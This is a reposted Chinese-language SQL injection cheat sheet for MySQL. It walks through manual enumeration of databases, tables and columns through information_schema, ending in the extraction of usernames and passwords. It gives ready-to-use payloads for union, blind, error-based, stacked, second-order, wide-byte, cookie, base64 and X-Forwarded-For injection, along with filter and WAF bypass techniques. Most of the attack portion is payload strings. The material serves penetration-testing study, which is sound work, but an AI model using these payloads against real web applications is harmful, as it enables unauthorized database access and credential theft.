SQL注入總結


SQL 注入總結

0x01 什么是SQL注入

SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。

0x02 SQL注入的分類

按變量類型分

  • 數字型
  • 字符型

按HTTP提交方式分

  • GET注入
  • POST注入
  • Cookie注入

按注入方式分

  • 報錯注入
  • 盲注
    • 布爾盲注
    • 時間盲注
  • union注入

編碼問題

  • 寬字節注入

0x03識別后台數據庫

根據操作系統平台

sql server :Windows(IIS)
MySQL :Apache

根據web語言

Microsoft SQL Server :ASP和.Net
MySQL :PHP
Oracle/MySQL :java
(以下是對mysql數據庫的總結,其他類型數據庫會不定時更新)

0x04 MySQL 5.0以上和MySQL 5.0以下版本的區別

MySQL 5.0以上版本存在一個存儲着數據庫信息的信息數據庫-- INFORMATION_SCHEMA  ,其中保存着關於MySQL服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。而5.0以下沒有。
information_schema
系統數據庫,記錄當前數據庫的數據庫,表,列,用戶權限等信息
SCHEMATA
儲存mysql所有數據庫的基本信息,包括數據庫名,編碼類型路徑等
TABLES
儲存mysql中的表信息,包括這個表是基本表還是系統表,數據庫的引擎是什么,表有多少行,創建時間,最后更新時間等
COLUMNS
儲存mysql中表的列信息,包括這個表的所有列以及每個列的信息,該列是表中的第幾列,列的數據類型,列的編碼類型,列的權限,列的注釋等

0x05 基本手工注入流程

要從select語句中獲得有用的信息,必須確定該數據庫中的字段數和那個字段能夠輸出,這是前提。

1. MySQL >= 5.0

(1)獲取字段數

  • 1
order by n /*通過不斷嘗試改變n的值來觀察頁面反應確定字段數*/

(2)獲取系統數據庫名

在MySQL >5.0中,數據庫名存放在information_schema數據庫下schemata表schema_name字段中
  • 1
select null,null,schema_name from information_schema.schemata

(3)獲取當前數據庫名

  • 1
select null,null,...,database()

(4)獲取數據庫中的表

  • 1
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
  • 1
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1

(5)獲取表中的字段

這里假設已經獲取到表名為user
  • 1
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

(6)獲取各個字段值

這里假設已經獲取到表名為user,且字段為username和password
  • 1
select null,group_concat(username,password) from users

2.MySQL < 5.0

MySQL < 5.0 沒有信息數據庫 information_schema ,所以只能手工枚舉爆破(二分法思想)。
該方式通常用於盲注。

相關函數

length(str)  :返回字符串str的長度
substr(str, pos, len)  :將str從pos位置開始截取len長度的字符進行返回。注意這里的pos位置是從1開始的,不是數組的0開始
mid(str,pos,len)  :跟上面的一樣,截取字符串
ascii(str)  :返回字符串str的最左面字符的ASCII代碼值
ord(str)  :將字符或布爾類型轉成ascll碼
if(a,b,c)  :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0

(1)基於布爾的盲注

  • 1
and ascii(substr((select database()),1,1))>64 /*判斷數據庫名的第一個字符的ascii值是否大於64*/

(2)基於時間的盲注

  • 1
id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*提取用戶名前四個字符做判斷,正確就延遲4秒,錯誤返回1*/

0x06 常用注入方式

注釋符:
  • 1
  • 2
  • 3
# -- (有空格)或--+ /**/
內聯注釋:
  • 1
/*!...*/

union注入

  • 1
id =-1 union select 1,2,3 /*獲取字段*/

Boolean注入

  • 1
id=1' substr(database(),1,1)='t'--+ /*判斷數據名長度*/

報錯注入

1 floor()和rand()

  • 1
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用錯誤信息得到當前數據庫名*/

2 extractvalue()

  • 1
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

3 updatexml()

  • 1
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

4 geometrycollection()

  • 1
id=1 and geometrycollection((select * from(select * from(select user())a)b))

5 multipoint()

  • 1
id=1 and multipoint((select * from(select * from(select user())a)b))

6 polygon()

  • 1
id=1 and polygon((select * from(select * from(select user())a)b))

7 multipolygon()

  • 1
id=1 and multipolygon((select * from(select * from(select user())a)b))

8 linestring()

  • 1
id=1 and linestring((select * from(select * from(select user())a)b))

9 multilinestring()

  • 1
id=1 and multilinestring((select * from(select * from(select user())a)b))

10 exp()

  • 1
id=1 and exp(~(select * from(select user())a))

時間注入

  • 1
id = 1 and if(length(database())>1,sleep(5),1)

堆疊查詢注入

  • 1
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23

二次注入

假如在如下場景中,我們瀏覽一些網站的時候,可以現在注冊見頁面注冊username=test',接下來訪問xxx.php?username=test',頁面返回id=22;
接下來再次發起請求xxx.php?id=22,這時候就有可能發生sql注入,比如頁面會返回MySQL的錯誤。
訪問 xxx.php?id=test' union select 1,user(),3%23,獲得新的id=40,得到user()的結果,利用這種注入方式會得到數據庫中的值。

寬字節注入

利用條件:

  • [ ] 查詢參數是被單引號包圍的,傳入的單引號又被轉義符()轉義,如在后台數據庫中對接受的參數使用addslashes()或其過濾函數
  • [ ] 數據庫的編碼為GBK

利用方式

  • 1
id = -1%DF' union select 1,user(),3,%23
在上述條件下,單引號'被轉義為%5c,所以就構成了%df%5c,而在GBK編碼方式下,%df%5c是一個繁體字“連”,所以單引號成功逃逸。

Cookie注入

當發現在url中沒有請求參數,單數卻能得到結果的時候,可以看看請求參數是不是在cookie中,然后利用常規注入方式在cookie中注入測試即可,只是注入的位置在cookie中,與url中的注入沒有區別。
  • 1
Cookie: id = 1 and 1=1

base64注入

對參數進行base64編碼,再發送請求。
說明:id=1',1的base64編碼為 MSc= ,而 = 的url編碼為 %3d ,所以得到以下結果:
  • 1
id=MSc%3d

XFF注入

XFF(X-Forward-For),簡稱XFF頭,它代表客戶端真實的ip地址
  • 1
X-Forward-For:127.0.0.1' select 1,2,user()

0x07 SQL注入繞過技術

  • 大小寫繞過
  • 雙寫繞過
  • 編碼繞過 (url全編碼、十六進制)
  • 內聯注釋繞過
  • 關鍵字替換
    • 逗號繞過
      substr、mid()函數中可以利用from to來擺脫對逗號的利用;
      limit中可以利用offset來擺脫對逗號的利用
    • 比較符號( >、< )繞過 (greatest、between and)
    • 邏輯符號的替換 (and=&& or=|| xor=| not=!)
    • 空格繞過 (用括號,+等繞過)
  • 等價函數繞過
    • hex()、bin()=ascii()
    • concat_ws()=group_concat()
    • mid()、substr()=substring()
  • http參數污染 id=1 union select+1,2,3+from+users+where+id=1– 變為 id=1 union select+1&id=2,3+from+users+where+id=1–
  • 緩沖區溢出繞過  (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好。。一般會存在臨界值,其實這種方法還對后綴名的繞過也有用)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM